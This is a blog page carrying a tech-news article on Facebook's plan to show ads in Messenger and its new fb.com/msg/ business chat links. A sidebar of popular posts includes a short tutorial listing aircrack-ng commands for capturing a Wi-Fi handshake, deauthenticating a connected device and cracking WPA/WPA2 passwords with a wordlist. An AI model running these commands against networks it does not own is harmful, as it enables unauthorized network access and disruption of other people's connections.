Skip to main content

Facebook Plans To Put Ads In Messenger

Image
By

A leaked document Facebook sent to some of its biggest advertisers reveals that Facebook will launch ads within Messenger in Q2 2016.
The document also notes that Facebook has quietly launched a URL short link fb.com/msg/ that instantly opens a chat thread with a business. Facebook confirmed the existence of the URL short link. That seems to back up the validity of the leaked document.
Facebook Business Messages
An example of messages between businesses and users
Regarding Messenger ads specifically, Facebook told me “We don’t comment on rumor or speculation. That said, our aim with Messenger is to create a high quality, engaging experience for 800 million people around the world, and that includes ensuring people do not experience unwanted messages of any type.” That last part sounds like Facebook trying to reassure users that even when there are ads, they won’t be completely unsolicited, and it’s going to be very careful.
Messenger is one of Facebook’s most popular and fastest-growing products, with 800 million monthly active users. Yet the social network has never monetized it directly before.
Thankfully for users, Facebook isn’t going to let brands send ad messages to just anyone or even people who’ve liked their Pages. Only those who have voluntarily chatted with a business can be sent ads. This should somewhat limit the spam potential and annoyance. Right now, almost all messages come from one’s friends, so Facebook will likely try to preserve this high signal-to-noise ratio with limits on advertising.
The news somewhat contradicts what Mark Zuckerberg said to calm users of WhatsApp when Facebook acquired it in early 2014. “I don’t personally think ads are the right way to monetize messaging,” Zuckerberg said on an analyst call. WhatsApp’s CEO Jan Koum went further in a 2012 blog post, stating that “Advertising isn’t just the disruption of aesthetics, the insults to your intelligence and the interruption of your train of thought,” but also a waste of engineering resources.
Yet as more content from friends, news publishers, video makers and brands compete for limited space in people’s News Feeds, Facebook has apparently grown willing to let advertisers pay to ping people directly. It’s not the only one opening new direct channels between the two. Twitter today announced new ways for companies to offer customer service through DMs.

Replacing The 1-800 Number

davidmarcushorizontal
Facebook’s Head Of Messenger David Marcus
Facebook has been slowly enhancing the ways businesses can privately communicate with people since late 2011. That’s when it first began letting users send messages to Pages, which were only then allowed to message them back. Originally, this was designed to let businesses move messy or irate customer service conversations off their Wall where other fans could see.
Facebook redoubled its business chat efforts when it hired PayPal President David Marcus to run Messenger in 2014. He came with a vision that Facebook could do a better job of letting companies talk with customers than phones and 1-800 numbers with clumsy touch-tone menus and hold times.
At its F8 conference in March 2015, Facebook announced its Businesses On Messengerprogram that let e-commerce customers get receipts and chat with customer service reps to change orders. It also allowed businesses to integrate with third-party tools like Zendesk and Conversocial to manage their incoming messages.
screen-shot-2015-03-25-at-10-53-11-am
Over the following months, Facebook enhanced chat capabilities for businesses by letting them show a big “Send Message” or “Contact Us” button on their Page, create saved replies, show a badge that grades them on how fast they respond, and reply to wall posts with private messages.
Facebook also recently introduced “Click To Message” News Feed ads that let businesses pay to get people to chat with them. Plus, it’s been secretly testing a chat bot platform that allows developers to create e-commerce experiences and personal assistants within Messenger.

Facebook’s Most Forceful Ad Yet

Now Facebook is pushing brands to use these tools to encourage people to message them so they’ll eventually be able to send ads in return. According to the leaked document, it’s also recently released a new tool: the Messenger URL short link. It’s now live for all Pages, through the format fb.com/msg/ and then the Facebook Username of the Page, like fb.com/msg/excitingtechnology/.
Facebook Messenger URL Short LinkBrands can share and promote their link. When tapped by a user, it will start a conversation with the brand either in the Messenger app, or on Facebook’s mobile web or desktop site. Facebook confirmed to me that a few partners include Canadian telecom Rogers are already trying out the fb.com/msg/Rogers shortcode, but Facebook didn’t talk about it.
This short link is essentially the next-generation version of a 1-800 number. Instead of calling 1-800-FLOWERS, you’d be able to just click something like fb.com/msg/flowers and chat at your own pace with a customer service agent. No “Press 1 to hear a list of options.” No “Please hold.”
If businesses achieve a 90 percent response rate to messages within 24 hours over the past week, their Messenger handle will become searchable on Facebook, the document details. This could further stoke in-bound message threads that will eventually become opportunities to show ads.
It’s unclear exactly what businesses will be able to put in Messenger ads, but there are plenty of possibilities. The document says the ads are supposed to carry on the existing discussion users started. The ads could perhaps:
  • Inform customers about a flash sale, free gift or other promotion
  • Announce a product launch, and encourage foot traffic or provide a link to buy the item online
  • Deliver a new video, GIF or other piece of content created by the brand
  • Follow up with retargeting-style reminders that an item the user previously considered buying is no longer out of stock or has dropped in price
Facebook Business Message ThreadsConsidering this is the most direct and forceful way for businesses to advertise to or interact with potential customers, Facebook could likely charge steep rates.
There’s always a chance that early tests to Messenger ads receive negative feedback and the plan gets scuttled. The last thing Facebook wants to do is cram spam into Messenger and give people a reason to return to SMS or another chat platform. Expect these ads to be slowly and thoroughly tested before possibly being rolled out.
Right now pretty much every time Messenger buzzes, you know it’s one of your friends and is probably worth looking at. Facebook will have to aggressively thwart spam or misuse of Messenger ads to make money while keeping its chat app at the center of our mobile lives.

Comments

Post a Comment

Popular posts from this blog

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

By
In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng  sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0  airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up  Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.
Post a Comment
Read more

Building a smarter home

By
The Jetsons  presented a highly entertaining vision of what  homes  of the future would  look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s  homes  and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019,  companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...
Post a Comment
Read more

Airbnb will open its Cuba listings to users outside the United States

By
Airbnb  will now let travelers from outside the U.S. to book properties in Cuba after receiving authorization from the U.S. government,  reports the Associated Press . Previously, only Americans were allowed to reserve the site’s  Cuban listings . They will open to international users on April 2. Airbnb launched its  Cuban operations in April 2014 , four months after the Obama administration revealed that it will begin to  restore diplomatic relations with the Communist country . The historic policy change means that  travel and trade sanctions will be lifted , which is expected to boost tourism to Cuba dramatically because Americans no longer need licenses to visit. In fact, President Obama is  currently on an official visit to Cuba , the first president since Calvin Coolidge to do so. According to the AP, Cuba is currently Airbnb’s fastest-growing market, with about 4,000 homes added since it opened listings. Other travel businesses...
Post a Comment
Read more

Careless USB removal causes multiple deaths

By
EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...
Post a Comment
Read more

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

By
A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...
Post a Comment
Read more